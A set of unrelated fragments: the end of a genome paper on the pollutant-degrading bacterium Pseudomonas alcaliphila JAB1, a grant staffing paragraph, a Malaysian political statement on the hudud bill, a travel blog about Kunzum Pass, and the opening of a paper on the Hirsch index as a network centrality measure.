"5Trend in cDCE depletion over time in JAB1 cultures grown on 1 mM phenol or 1 mM sodium pyruvate in the presence of 0.01 mM cDCE. ",
"Residual amounts of cDCE over time are expressed as a percentage of initial cDCE content. ",
"Error bars indicate the standard deviation among three biological replicates\n\nGenome sequencing information {#Sec5}\n=============================\n\nGenome project history {#Sec6}\n----------------------\n\nThe JAB1 strain was selected for sequencing due to its extensive degradative capabilities. ",
"The genome project was initiated in 2010. ",
"The complete genome sequence, deposited in GenBank under the accession number [CP016162](https://www.ncbi.nlm.nih.gov/nuccore/CP016162), was released public on April 14, 2017. ",
"A summary of the project information and its association with MIGS standard is shown in the Table [2](#Tab2){ref-type=\"table\"}.Table 2Genome sequencing project information for *P. alcaliphila* JAB1MIGS IDPropertyTermMIGS 31Finishing qualityFinishedMIGS-28Libraries used454 shotgun, 454 8 kb paired-endMIGS 29Sequencing platformsGS FLX+MIGS 31.2Fold coverage41.5MIGS 30AssemblersNewbler 2.8MIGS 32Gene calling methodGeneMarkS+Locus TagUYAGenbank IDCP016162GenBank Date of ReleaseApril 14, 2017GOLD IDGp0021677BIOPROJECTPRJNA104953MIGS 13Source Material IdentifierDSM 26533Project relevanceBioremediation, aromatic compounds degradation\n\nGrowth conditions and genomic DNA preparation {#Sec7}\n---------------------------------------------\n\nFollowing its isolation from soil, the culture was preserved in a mineral salt solution \\[[@CR12]\\] with biphenyl as sole carbon source and, over the long term, in glycerol stocks prepared from growing liquid cultures. ",
"For the purposes of DNA isolation, the culture was grown overnight on plate count agar (Difco, UK) at 28 °C. ",
"Genomic DNA was isolated using the PureLink™ Genomic DNA Mini Kit (Invitrogen, USA) according to the manufacturer's instructions.",
"\n\nGenome sequencing and assembly {#Sec8}\n------------------------------\n\nThe genomic DNA of [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 was used to prepare shotgun and 8 kb paired-end 454 sequencing libraries according to the Library Preparation Method Manual (Roche). ",
"These libraries were sequenced with the GS FLX instrument using GS FLX+ chemistry (Roche) at the Institute of Molecular Genetics AS CR (Prague, Czech Republic). ",
"The resulting 110,702 shotgun and 461,976 paired-end reads comprised a total of 221,447,771 bases and represented 41.5-fold genome coverage. ",
"These reads were assembled in Newbler 2.8 software (Roche), and gaps were closed by local assembly of selected reads in Staden software \\[[@CR29]\\] into a single circular contig.",
"\n\nGenome annotation {#Sec9}\n-----------------\n\nThe NCBI Prokaryotic Genome Annotation Pipeline \\[[@CR30]\\] was used for automated genome annotation, and functional annotations were carried out by searching against KEGG \\[[@CR31]\\], COG \\[[@CR32]\\] and Pfam \\[[@CR33]\\] databases. ",
"SignalP \\[[@CR34]\\] and TMHMM \\[[@CR35]\\] tools were used for the prediction of genes with signal peptides and transmembrane helices, respectively. ",
"Searches against NCBI-NR \\[[@CR36]\\], RefSeq \\[[@CR37]\\], [Uni](http://plants.usda.gov/core/profile?symbol=UGNI)ProtKB/Swiss-prot \\[[@CR38]\\] and TCDB \\[[@CR39]\\] were carried out for functional assignment of selected genes.",
"\n\nGenome properties {#Sec10}\n=================\n\nThe [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 genome consists of a single 5,340,293 bp-long chromosome with a GC content of 62.5% (Fig.",
" [6](#Fig6){ref-type=\"fig\"}). ",
"The 4908 predicted genes correspond to an 89% coding density. ",
"The genome contains 4773 CDS, 65 tRNA genes for all 20 amino acids, 4 rRNA operons, 4 ncRNA genes, 3 CRISPR repeats and 54 pseudogenes. ",
"Function was assigned to 3816 CDS, with 957 CDS annotated as hypothetical proteins only (Table [3](#Tab3){ref-type=\"table\"}). ",
"The distribution of COG functional categories is shown in Table [4](#Tab4){ref-type=\"table\"}.Fig. ",
"6Circular map of the [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 chromosome. ",
"From outside to the center: CDS on forward strand colored according to their COG categories, all CDS and RNA genes on forward strand, all CDS and RNA genes on reverse strand, CDS on reverse strand colored according to their COG categories, GC content, and GC skew. ",
"The map was generated using CGView \\[[@CR67]\\]Table 3Genome statisticsAttributeValue% of TotalGenome size (bp)5,340,293100DNA coding (bp)4,749,31688.93DNA G + C (bp)3,339,72462.54DNA scaffolds1Total genes4908100Protein coding genes477397.25RNA genes811.65Pseudo genes541.10Genes in internal clustersNAGenes with function prediction381677.75Genes assigned to COGs392780.01Genes with Pfam domains422186.00Genes with signal peptides55711.35Genes with transmembrane helices113923.21CRISPR repeats30.06Table 4Number of genes associated with general COG functional categoriesCodeValue%ageDescriptionJ1893.96Translation, ribosomal structure and biogenesisA10.02RNA processing and modificationK3687.71TranscriptionL2164.53Replication, recombination and repairB20.04Chromatin structure and dynamicsD430.90Cell cycle control, Cell division, chromosome partitioningV591.24Defense mechanismsT4258.90Signal transduction mechanismsM2324.86Cell wall/membrane biogenesisN1332.79Cell motilityU1072.24Intracellular trafficking and secretionO1763.69Posttranslational modification, protein turnover, chaperonesC2855.97Energy production and conversionG1964.11Carbohydrate transport and metabolismE4339.07Amino acid transport and metabolismF881.84Nucleotide transport and metabolismH1793.75Coenzyme transport and metabolismI1893.96Lipid transport and metabolismP2565.36Inorganic ion transport and metabolismQ1182.47Secondary metabolites biosynthesis, transport and catabolismR57412.03General function prediction onlyS4238.86Function unknown--84617.72Not in COGsThe total is based on the total number of protein coding genes in the genome\n\nInsights from the genome sequence {#Sec11}\n=================================\n\nThe genome harbors approximately 50 oxygenase genes, many of which are relevant to the biodegradation capabilities of the strain, especially those encoding for mono- and di-oxygenases responsible for the hydroxylation and opening of the aromatic ring, which are crucial steps in aromatic xenobiotic degradation (see below for details). ",
"Several other genes found are associated with the heavy metal resistance of the strain (e.g. heavy metal efflux P-type ATPases), indicating its overall adaptation to contaminated environments; organic compound contamination is often accompanied by high concentrations of heavy metals \\[[@CR40], [@CR41]\\]. ",
"The genome contains a complete set of genes for flagellar assembly and 50 additional genes associated with chemotaxis. ",
"Roughly 70 of the predicted CDS are putative intact or mutated transposase genes and phage-related genes.",
"\n\nExtended insights: degradation of aromatic compounds {#Sec12}\n----------------------------------------------------\n\nIn total, five regions harboring genes for aromatic compound degradation pathways were identified in the JAB1 genome as shown in Additional file [1](#MOESM1){ref-type=\"media\"}: Table S1.",
"\n\nThe first region, position range 1,474,745--1,486,552 in the annotated genome sequence, harbors genes encoding for a three-component benzoate 1,2-dioxygenase (*benABC* genes) followed by enzymes of a pathway enabling the complete degradation of benzoates and benzoate derivatives, yielding acetyl-CoA and pyruvate (catechol *meta*-cleavage pathway encoded by *benD*, *fdx*, and *dmp* cluster). ",
"The role played by the gene designated *nahX* encoding for putative ATP-cob(I)alamin adenosyltransferase in aromatic compound degradation is unclear \\[[@CR42]\\]. ",
"No transcriptional regulator was found within or adjacent to this region, leading us to assume that genes from this region are not transcribed or their transcription is mediated *in trans* by regulatory proteins encoded elsewhere.",
"\n\nThe second region, position range 1,518,873--1,540,279, harbors genes encoding for complete salicylate degradation via the catechol *meta*-cleavage pathway (*sal*/*fdx genes*), with salicylate 1-monooxygenase (encoded by *salA*) being responsible for opening the aromatic ring. ",
"Genes *antAB* encoding for large and small subunits of a putative terminal dioxygenase were also found in this region. ",
"Apart from genes presumed to be involved in the enzymatic degradation of aromatic compounds, ORFs encoding for transport proteins were found in this second region, namely a putative benzoate:H^+^ symporter (encoded by gene *benE*), a multi-component ABC transporter (six ORFs, designated *ORF1--6*) and a porin protein (*benK*), which are most likely involved in aromatic compound uptake. ",
"BenK ortholog has been shown to be involved in benzoate uptake in [*Acinetobacter*](https://doi.org/10.1601/nm.2765) sp. ",
"ADP1 \\[[@CR43]\\]. ",
"Moreover, BenE and BenK orthologs from [*P. putida*](https://doi.org/10.1601/nm.2674) have been demonstrated to act as benzoate uptake proteins when heterologously expressed in yeasts \\[[@CR44]\\]. ",
"Nevertheless, detailed experimental evidence is lacking on the function of these proteins and their role in aromatics/aromatic xenobiotics degradation, which represents a potential challenge for future research \\[[@CR45], [@CR46]\\].",
"\n\nThe third region, position range 1,545,237--1,557,889, harbors *bph* genes encoding for enzymes of the complete upper and lower biphenyl degradation pathway. ",
"The structure of this operon is virtually identical to that of the *bph* operon found in the genome of the model PCB-degrading strain [*P. pseudoalcaligenes*](https://doi.org/10.1601/nm.10978) KF707 \\[[@CR47]\\]. ",
"While pentadiene and its chlorinated derivatives can be degraded by enzymes encoded by the same operon (*bphHIJ* genes), no ORF encoding for benzoate terminal dioxygenase, essential for the completion of biphenyl degradation, is present in this region; nevertheless, such genes are found elsewhere in the JAB1 genome. ",
"Two other ORFs, *tbuX* and a gene designated *ORF7*, encoding for putative aromatic-transporter transmembrane proteins, were found in this region. ",
"Although the TbuX protein has been reported to be involved in the utilization of toluene in [*Ralstonia pickettii*](https://doi.org/10.1601/nm.1672) PKO1 \\[[@CR48]\\], no detailed information exists on the precise role played by this group of proteins in aromatic compound transport. ",
"The predicted *ORF7*-encoded protein exhibits homology with members of the BphX family. ",
"Despite being commonly found in upper biphenyl degradation pathway-encoding supra-operonic clusters of various taxa, the function of these proteins in aromatic degradation is not known \\[[@CR49]--[@CR51]\\].",
"\n\nThe fourth region, position range 4,397,470--4,411,693, harbors gene cluster *pheKLMNOP* encoding for multi-component phenol 2-monoxygenase and an *fdx* gene encoding a chloroplast-type ferredoxin essential for electron delivery to the active center of the oxygenase. ",
"The adjacent *dmp* cluster encodes for enzymes responsible for the *meta*-cleavage pathway of catechol/catechol derivatives, yielding acetyl-CoA and pyruvate. ",
"In this study, we demonstrate that strain JAB1 is capable of utilizing phenol as a sole carbon source and cometabolite of cDCE degradation.",
"\n\nThe fifth region, position range 4,445,675 to 4,469,934, contains *benABCD* genes, which are responsible for the transformation of benzoate into catechol, as well as *catABC* and *pcaDIJF* genes, which encode the enzymes of the catechol branch of the β-ketoadipate pathway, yielding succinyl-CoA and acetyl-CoA \\[[@CR52]\\]. ",
"This region also harbors *pcaHGB* genes for the protocatechuate branch of the β-ketoadipate pathway which enable hydroxybenzoate degradation; the *pobA* gene encoding 4-hydroxybenzoate 3-monooxygenase, responsible for the first step of 4-hydroxybenzoate hydroxylation, is located upstream of this fifth region (positions 4,435,851 to 4,437,041). ",
"In addition, this region harbors three ORFs encoding for putative transport proteins, which are most likely involved in aromatic compound uptake, designated as *ORF8* (encoding for outer membrane porin from the OprD family), *pcaK* (an ortholog of *p*-hydroxybenzoate and protocatechuate transport protein from the [Major](http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?lvl=0&id=1925465) Facilitator Superfamily \\[[@CR53]\\]) and *benE* (benzoate:H^+^ symporter from the BenE family). ",
"Two other ORFs encoding for a cell division protein (*zapE* gene) \\[[@CR54]\\] and a permease of unknown substrate specificity and function (designated *ORF9*) are also present in the fifth region in a *pcaHG*-*zapE*-*ORF9* arrangement. ",
"As the intergenic region between the *pcaG* and *zapE* genes is only 1 bp in length, with *zapE* and *ORF9* sequences even overlapping by 5 bp, we hypothesize that *pcaHG*-*zapE*-*ORF9* represents a single transcriptional unit. ",
"The positioning of one or more genes involved in cell division as part of a cistron together with aromatic-degradation genes is rather unusual.",
"\n\nSince the regions harboring degradation-determining genes are flanked by transposase and conjugation protein-coding genes, and, at the same time, they generally exhibit analogous architecture and high similarity to corresponding orthologs from other pseudomonads, we hypothesize that their acquisition in the JAB1 genome was most likely due to multiple horizontal gene transfer events. ",
"However, further study is required to confirm this hypothesis.",
"\n\nConclusions {#Sec13}\n===========\n\nThorough microbiological experiments and whole genome sequence analysis lead us to conclude that [*P. alcaliphila*](https://doi.org/10.1601/nm.2558) JAB1 is a versatile degrader of organic pollutants. ",
"Its extensive degradative capabilities are enabled by a variety of genes determining the degradation of both biphenyl/biphenyl derivatives (mediated by the biphenyl degradation pathway encoded by the *bph* cluster) and monocyclic aromatics such as benzoate and its derivatives (halobenzoates, toluates), salicylic acid and phenol/phenolic compounds.",
"\n\nAdditional file {#Sec14}\n===============\n\nAdditional file 1: Table S1.Description of five regions harboring genes for aromatic compound degradation pathways were identified in the JAB1 genome. (",
"DOCX 34 kb)\n\nBTEX\n\n: Benzene, toluene, ethylbenzene, xylene\n\nCBAs\n\n: Chlorobenzoic acids\n\ncDCE\n\n: *cis*-1,2-dichloroethylene\n\ndiCBA\n\n: Dichlorobenzoic acid\n\nGC-MS\n\n: Gas chromatography-mass spectrometry\n\nMALDI-TOF MS\n\n: Matrix-assisted laser ionization/desorption-time of flight mass spectrometry\n\nPCBs\n\n: Polychlorinated biphenyls\n\npp\n\n: Percentage points\n\n**Electronic supplementary material**\n\nThe online version of this article (10.1186/s40793-017-0306-7) contains supplementary material, which is available to authorized users.",
"\n\nThe authors wish to acknowledge Dr. Pavel Ulbrich for the transmission electron photomicrograph.",
"\n\nFunding {#FPar1}\n=======\n\nThe research work involved in producing genomic and PCB degradation data was financed by grant no. ",
"13-28283S, while the research into growth on phenol and cDCE degradation was funded by grant no. ",
"14-32432S. Both grants were provided by the Czech Science Foundation, which played no role in designing the study, collecting, analyzing or interpreting the data or in writing the manuscript.",
"\n\nPerformed genome sequencing, assembly, annotation and analysis: JR, JS, MH and HS Performed microbiological experiments: JS, SF, MS, TC, AZ and OU Contributed reagents/materials: TM and HS Wrote the paper: JR, JS, SF and OU. ",
"All authors read and approved the final manuscript.",
"\n\nCompeting interests {#FPar2}\n===================\n\nThe authors declare that they have no competing interests.",
"\n\nPublisher's Note {#FPar3}\n================\n\nSpringer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.",
"\n"
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"Dr. Snyder will provide overall direction of the center comprising scientific, financial and administrative perspectives. ",
"He will be responsible for determining the intellectual direction of the program and for making appropriate changes when necessary. ",
"Administrative, scientific and financial functions he will address will include preparation of scientific progress reports and renewals, coordination and direction of research projects and their integration, and consultation with internal and external advisory committees as well as outside consultants. ",
"He will also be responsible for allocating budgets and organizing seminars and meetings related to the Center grant, justifying expenditures and handling all records and finances for the project. ",
"Snyder has served as center director throughout the 40 years of the center's existence and thus has substantial experience in successfully coordinating the research of Pis and ensuring high scientific standards. ",
"Snyder devotes at least 40% of his effort to the research and administrative activities of this grant with 20% devoted to center administration. ",
"In practice, generally more than half of his research time is devoted to the activities of the Center. ",
"Barbara Ziegler will serve as the administrative coordinator, handling the implementation of many of the functions described above. ",
"She will also prepare manuscripts, progress reports and correspondence. ",
"Additionally, she will serve as financial administrator of the project, maintaining records of all financial transactions. ",
"Ms. Ziegler has over ten years of experience in executing these functions."
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"Call on Chinese Chambers of Commerce, Chinese Assembly Halls, Chinese Guilds and Association to ask MCA and Gerakan to requisition emergency meeting of BN Supreme Council meeting before June 18 to resolve controversy over Hadi’s hudud bill instead of falling into MCA/Gerakan trap of postponing resolution until end of the year\n\nMCA and Gerakan have been calling on Chinese Chambers of Commerce, Chinese Assembly Halls, Chinese Guilds and Associations to oppose Hadi’s hudud bill in Parliament at the end of the year.",
"\n\nThis is a very subtle and sophisticated trap which Chinese Chambers of Commerce, Chinese Assembly Halls, Chinese Guilds and Associations should be vigilant and not fall into, as it would allow MCA and Gerakan Ministers and leaders to have the best of both worlds – “to have the cake and eat it”!",
"\n\nI call on Chinese Chambers of Commerce, Chinese Assembly Halls, Chinese Guilds and Association in Malaysia to ask MCA and Gerakan Ministers and leaders to requisition an emergency meeting of BN Supreme Council meeting before the two by-elections in Sungai Besar and Kuala Kangsar on June 18 to resolve the controversy over Hadi’s hudud bill instead of falling into MCA/Gerakan trap of postponing resolution until end of the year.",
"\n\nThe threats by MCA and Gerakan Ministers that they will resign from Cabinet if Hadi’s hudud bill is passed in Parliament at the end of the year is now empty and meaningless as the Minister in the Prime Minister’s Department, Datuk Seri Azalina Othman Said has revealed that it was the Prime Minister, Datuk Seri Najib Razak and the Deputy Prime Minister, Datuk Zahid Hamidi who gave her the order to move the Ministerial motion in Parliament on May 26 to fast-track Hadi’s hudud bill.",
"\n\nThe persons the MCA and Gerakan Ministers should confront are Najib and Zahid and no more Azalina.",
"\n\nAre Liow and Mah afraid to confront Najib and Zahid in the Cabinet, because the MCA and Gerakan Ministers do not regard themselves as equals to Najib and Zahid, as was the case in the early days of Merdeka when Tun H.S. Lee, Tun Ong Yoke Lee and Tun Tan Siew Sin regarded themselves as equals of Tunku Abdul Rahman and Razak in the Cabinet?",
"\n\nIn such a case, it is all the more imperative that Liow and Mah should requisition an emergency meeting of Barian Nasional Supreme Council to resolve the controversy over Azalina’s Ministerial motion to fast-track Hadi’s Hudud bill.",
"\n\nApart from one or two political parties like the People’s Progressive Party (PPP), over 10 of the 14 Barisan Nasional parties would want to repudiate Azalina’s Ministerial motion to fast-track Hadi’s hudud bill and reaffirm the consensus of Barisan Nasional to reject Hadi’s hudud bill.",
"\n\nThe Chinese Chambers of Commerce, Chinese Assembly Halls, Chinese Guilds and Association in Malaysia should not fall into MCA and Gerakan’s political trap and should demand that MCA and Gerakan should team up with the majority of the other Barisan Nasional parties to demand two things: (I) repudiate Azalina’s Ministerial motion to fast-track Hadi’s hudud motion; and (ii) extract a firm commitment from Najib that there would no repetition of the betrayal of the BN’s political and constitutional stand rejecting Hadi’s hudud bill, and that no Barisan Nasional Minister would ever again move a Ministerial motion in Parliament to fast-track Hadi’s hudud bill."
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[
"Kunzum Pass: Home to the World’s Second Longest Glacier\n\nThe highest point of Spiti district in Himachal Pradesh, Kumzum Pass is the gateway to Lahaul district. ",
"Situated at a height of 4,551 m, it’s one of the highest motorable roads of India. ",
"The heavenly glimpse of some of the longest glaciers of the world and rugged mountains in the backdrop of bright blue sky will leave you stunned!",
"\n\nIt’s a rough journey from Kaza as the road to Kunzum Pass (75 km) neither is smooth nor predictable. ",
"The weather often turns adverse. ",
"My next destination was Keylong, the headquarter of Lahaul district via Kunzum Pass. ",
"So, I started my road trip early around 8 AM to wrap up the journey by late afternoon and to avoid extreme weather conditions.",
"\n\nWithin half an hour from the town of Kaza, I am right in the middle of the cold desert of Spiti. ",
"The river valley is dry and only a few turquoise traces of the river are visible, surrounded with rugged mountains. ",
"The only sign of civilization are the neatly placed electric poles that stand like aliens.",
"\n\nOn the outskirts of Kaza Town\n\nTaking Halts are Important in this Road Trip\n\nSoon after, a tiny village is spotted along with a small water body and farmlands. ",
"I stopped here for a few minutes just to make myself used to the air outside. ",
"It was included in my plan to take a few halts throughout the road trip to avoid altitude sickness.",
"\n\nI recommend each of you should take some halts instead of driving straight to Kunzum Pass to avoid altitude sickness. ",
"There are a few inhabited villages at various distances as well as extensive areas in the cold desert. ",
"It will help you to cope with the altitude differences, withstand the harsh cold winds and keep your mobility normal. ",
"The halts also offer diverse landscapes and breathtaking scenic beauty.",
"\n\nThe road is mostly bumpy except a few places. ",
"Gnarled, unpaved and muddy, the road is quite treacherous. ",
"There are also several water crossings leaving no traces of proper road.",
"\n\nThe entire route sees the presence of several chortens or Buddhist “Stupas” which the local folks believe to be sacred. ",
"They believe encircling the chortens with your vehicles ensure a safe journey on this route. ",
"I got this information from my local driver who is a resident of Kaza.",
"\n\nLosar\n\nYou may take a halt at Losar, 57 km from the town of Kaza. ",
"There are very few hotels and eateries here. ",
"Losar is a beautiful village with all the charms of Spiti Valley blended together. ",
"It is the last inhabited village of India along the Indo-China border at a height of 4,084m.\n\nYaks ploughing the lands\n\nI stopped at Losar for about 15 minutes to have a look around and most importantly, make myself ready for the altitude difference and the weather. ",
"Harsh cold winds often feel like lashing your skin apart. ",
"On this route, you can’t spare a lot of time because of the unpredictability of the weather and the road. ",
"Driving often becomes difficult and you have limited time to reach Kunzum Pass.",
"\n\nApart from herds of regular cattle like sheep and cows, here Yak is quite predominant. ",
"The villagers use Yaks to plough the fields and Yak is one of the most important domesticated animals in this region. ",
"The local people are warm but shy.",
"\n\nThe Bare Landscape of the Cold Desert\n\nThat’s me chilling out in the cold desert\n\nI started my journey again. ",
"Soon the ruggedness become more intense and snow-capped rugged mountains become regular companions.",
"\n\nThe Terrific Cold Desert\n\nThe road is smooth now and it is laid right through the middle of the desert. ",
"The ruggedness and the sharp winds will make you feel like you have been transported to an unusual place in India. ",
"The area resembles Ladakh in several ways. ",
"Check out the pictures below.",
"\n\nNearing Kunzum Pass\n\nA few kilometres from the Pass, the roads become narrower with deep gorges on one side. ",
"Thick patches of snow are scattered here and there which only become more frequent as you move forward. ",
"The road is laid at such high elevation that the peaks of the mountains feel like a stone throw distance. ",
"Soon, the scenery changed into all snow. ",
"Spot the changes 🙂\n\nNearing Kunzum Pass\n\nThe Kunzum Pass\n\nFinally, I reached Kunzum Pass. ",
"There is a temple of Goddess Kunzum (a form of Goddess Durga) which is believed to be very sacred by local folks. ",
"There is also a huge chorten beside the temple and the whole temple complex is surrounded with colourful prayer flags which signify the Buddhist influence in the region. ",
"All vehicles compulsorily stop here to pay tribute to the goddess before moving forward. ",
"It’s also a pilgrimage centre for locals and believers.",
"\n\nThe Kunzum Mata Temple at Kunzum Pass\n\nThis spot offers a magnificent view of the Bara-Sigri Glacier, the second longest glacier in the world. ",
"It also offers a beautiful view of the Spiti Valley and the Chandra-Bhaga mountain.",
"\n\nAfter paying my respects to the goddess and spending about 40 minutes around Kunzum Temple, I started off again towards my destination. ",
"A little distance from the temple, the road again becomes jittery with several water crossings. ",
"It’s a very bumpy ride. ",
"The treacherous road however, gives you a visual treat with ice walls on both sides of the road. ",
"As you come down the elevation, the river becomes your companion for some time. ",
"Bulldozers stand along the road to clear debris and landslides which are very common in this region.",
"\n\nThe road after Kunzum Pass\n\nThe Experience\n\nAs a traveller, I can say that it’s one of the finest travel destinations in India. ",
"You must visit it at least once in your lifetime. ",
"It was an enthralling experience that I will cherish for the rest of my life. ",
"Kunzum Pass is definitely one of the best passes of India.",
"\n\nHow To Reach\n\nThe nearest airport is Bhuntar (170 km). ",
"From Bhuntar, you can reach Manali (50 km) by road and visit Kunzum Pass. ",
"The distance from Manali to Kunzum Pass is – 127 km.",
"\n\nThe nearest railway station is Joginder Nagar. ",
"However, it is a narrow gauge railway station. ",
"Chandigarh, Pathankot, and Ambala offer better railway connectivity.",
"\n\nWhere to Stay\n\nThere are no hotels, guest houses or lodges along Kunzum Pass, just like any other Pass. ",
"You can either opt to stay at Kaza, Losar or Keylong. ",
"There are several homestays that you can find. ",
"You can also search for Zostel, ideal for backpackers.",
"\n\nBest Time to Visit\n\nJune to September are the only months when Kunzum Pass remains open. ",
"The rest of the year, the Pass is closed.",
"\n\nSeems like a great adventure! ",
"The view looks incredible! ",
"I am more beach/sun person than cold mountains but I feel like one day I really need to visit one of those wonderful places in Himalayas! ",
"Love your photos!",
"\n\nHello Madhurima, Enchanting pictures and a spectacular journey. ",
"I think no one can prevent oneself once smitten by the beauty of the Himalayas. ",
"I have my share of adventures in them, from as far as Tawang to the Uttarakhand Mountains, but Himachal still remains to be explored from my end. ",
"Would be doing Leh though the end of this month. ",
"Beautiful photography… 🙂\n\nBeautiful pictures. ",
"I think it’s really fun to see the different types of deserts around the world. ",
"Mine are hot and full of sand and cactus! ",
"I also think that taking many halts during the journey would be best. ",
"I live at a high elevation and when people come to visit, we always have to make sure they’re drinking a ton of water so they don’t get altitude sickness. ",
"Thanks for sharing!",
"\n\nThanks for this great overview of Kunzum Pass; really liked the layout of this post. ",
"We didn’t visit this place yet, but hopefully we’ll visit this gem on our next vacation. ",
"We love your photos too much!!",
"\n\nHi there! ",
"I am Madhurima, the creator of Mango Lady Diaries. ",
"This is my travel blog and I am here to share my travel experiences, perceptions, thoughts, itineraries and tips to give you the best possible virtual journey in my way and inspire you to travel whenever you can."
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[
"---\nabstract: 'We study the $h$ Hirsch index as a local node centrality measure for complex networks in general. ",
"The $h$ index is compared with the Degree centrality (a local measure), the Betweenness and Eigenvector centralities (two non-local measures) in the case of a biological network (Yeast interaction protein-protein network) and a linguistic network (Moby Thesaurus II). ",
"In both networks, the Hirsch index has poor correlation with Betweenness centrality but correlates well with Eigenvector centrality, specially for the more important nodes that are relevant for ranking purposes, say in Search Engine Optimization. ",
"In the thesaurus network, the $h$ index seems even to outperform the Eigenvector centrality measure as evaluated by simple linguistic criteria.'",
"\naddress:\n- 'Faculdade de Farmácia de Ribeirão Preto, Universidade de São Paulo, Avenida dos Bandeirantes 3900, 14040-901, Ribeirão Preto, SP, Brazil'\n- 'Departamento de Física e Matemática, FFCLRP, Universidade de São Paulo, Avenida dos Bandeirantes 3900, 14040-901, Ribeirão Preto, SP, Brazil'\nauthor:\n- 'Monica G. Campiteli'\n- 'Adriano J. Holanda, Paulo R. C. Soles, Leonardo H. D. Soares, Osame Kinouchi'\nbibliography:\n- 'myrefs.bib'\ntitle: Hirsch index as a network centrality measure\n---\n\nThe Hirsch or $h$ index has been proposed and mainly studied as a scientific productivity statistics, being applied to individual researchers [@Hirsch:2005; @Hirsch:2007; @Batista:2006; @Bornmann:2007; @Alonso:2009], groups [@vanRaan:2006], journals [@Braun:2006; @Bollen:2009] and countries [@Csajbok:2007] using data from citation networks. ",
"In this context, a researcher has Hirsch index $h$ if he/she has $h$ papers with at least $h$ citations each [@Hirsch:2005].",
"\n\nRecently, Korn [*et. ",
"al*]{} [@Korn:2009] have proposed a general index to network node centrality based on the $h$-index. [*",
"Korn et al.*]{} ",
"named it as the [*lobby index*]{}, but since it is simply the application of Hirsch’s idea in the context of general networks, we shall continue to call it the Hirsch (centrality) index. [*",
"Korn et al.*]{} ",
"argue that the proposed index contains a mix of properties of other well known centrality measures. ",
"However, they have studied it mostly in the context of artificial or idealized networks like the Barabasi-Albert model [@Korn:2009; @Barabasi:1999b].",
"\n\nHere we study the Hirsch index in two real life networks and discuss some computational and conceptual advantages of the $h$-index as a new centrality measure. ",
"We study the Hirsch centrality in linguistic and biological networks already considered by the physics community. ",
"The first one is the [*Moby Thesaurus II*]{} network [@MobyII; @Motter:2002; @Holanda:2004] composed by $30,260$ nodes and around $1.7$ million links. ",
"The biological network is the yeast protein-protein network obtained from the *Biogrid* repository [@Biogrid]. ",
"This is a curated repository for physical and genetic interactions for $5,433$ proteins and over $150,000$ unambiguous interactions. ",
"The advantage of using these networks as benchmarks to evaluate node centrality is that they enable us not only a comparison with other centrality indexes but also an independent evaluation by standard linguistic/biological criteria.",
"\n\nIn this work we use the following definition:\n\n> [*The Hirsch centrality index $h$ of a node is the largest integer $h$ such that the node has at least $h$ neighbours which have a degree of at least $h$.*]{}\n\nThe linguistic network is formed by the entries or “root words” of the [*Moby Thesaurus II*]{} [@MobyII]. ",
"To construct the network we use the convention that an outlink goes from a root word to a related word. ",
"The raw thesaurus have over $2.5$ million links but there are many words with only in-links (that is, they are not root words). ",
"So, we worked with a cleansed version with around $1.7$ million links where only root words constitute nodes [@Motter:2002; @Holanda:2004]. ",
"The minimal number of outlinks is $17$ and the maximum is $1106$. Notice that the graph is directed [@Holanda:2004] but we have used as centrality measures the out-degree and the $h$-index based on the out-degree (from here referred simply as ”degree\" $D$).",
"\n\nThe biological network as downloaded from the *Biogrid* is composed by gene products connected by a link[@Biogrid]. ",
"The links include direct physical binding of two proteins, co-existence in a stable complex or genetic interaction as given by one or several experiments described in the literature. ",
"The links are considered here undirected. ",
"The degree distribution ranges from $1$ to $1,975$.\n\nIn Figure \\[F1\\] we present dispersion plots of the $h$-index versus degree $D$ for the two networks. ",
"We notice that, although correlated, the two measures are not redundant. ",
"More importantly, in the thesaurus case the $h$-index highlights false positives (defined in terms of their degree centrality), that is, words with high degree but low $h$. We also note that, by definition, a node cannot have $h>D$, and that the boundary $h = D$ is saturated in the low $D$ regime (up $D=100$). ",
"For higher $D$, we observe in both networks that the highest $h$ are proportional to $D^{0.4}$, but the origin of this anomalous exponent is not clear.",
"\n\n![",
"Log-log dispersion plot of $h$ versus Degree centrality $D$ for a) Moby Thesaurus II and b) Yeast network. ",
"\\[F1\\]](Fig1_Campiteli){width=\"0.8\\columnwidth\"}\n\nNow we compare the Hirsch index with two standard non-local centrality indexes, Betweenness and Eigenvector centrality. ",
"First, we present in Figure \\[F2\\] the dispersion plots of $h$ versus Betweenness centrality $B$. No strong correlation is apparent, meaning that the indexes seems to contemplate different ideas of centrality (this will be discussed better bellow).",
"\n\n![",
"Log-log dispersion plot of $h$ versus Betweenness $B$ for a) Moby Thesaurus II network and b) Yeast network. ",
"\\[F2\\]](Fig2_Campiteli){width=\"0.8\\columnwidth\"}\n\n![",
"Log-log dispersion plot $h$ versus Eigenvector centrality $E$ for the Moby Thesaurus II. ",
"Inset: Linear scale, notice the several words with high E but low h. \\[F3\\]](Fig3_Campiteli){width=\"0.8\\columnwidth\"}\n\nIn Figure \\[F3\\] we give the dispersion plot for the $h$-index versus the Eigenvector centrality $E$ for the thesaurus network. ",
"In the high $E$ regime the maximal $h$ values seem to be bounded by $h \\propto E^{0.4}$, like in the $h$ versus $D$ plot. ",
"We observe several nodes with high $E$ but relatively low $h$ (see Inset). ",
"Examining individually these nodes, we find that $h$ seems to outperform $E$ in the ranking task, since words with high $h$ also have high $E$ and are basic and important polysemous words. ",
"In contrast, terms with high $E$ can have high or low $h$. Those with low $h$ are mostly phrasal verbs or multiple word expressions derived from the words with high $h$.\n\nIt is difficult to quantify the quality of some ranking list, but the above effect is very clear, as can be observed in Table \\[Table\\] that shows the top $25$ words ranked by $h$ and $E$ (the same occur for other high $E$ and low $h$ words).",
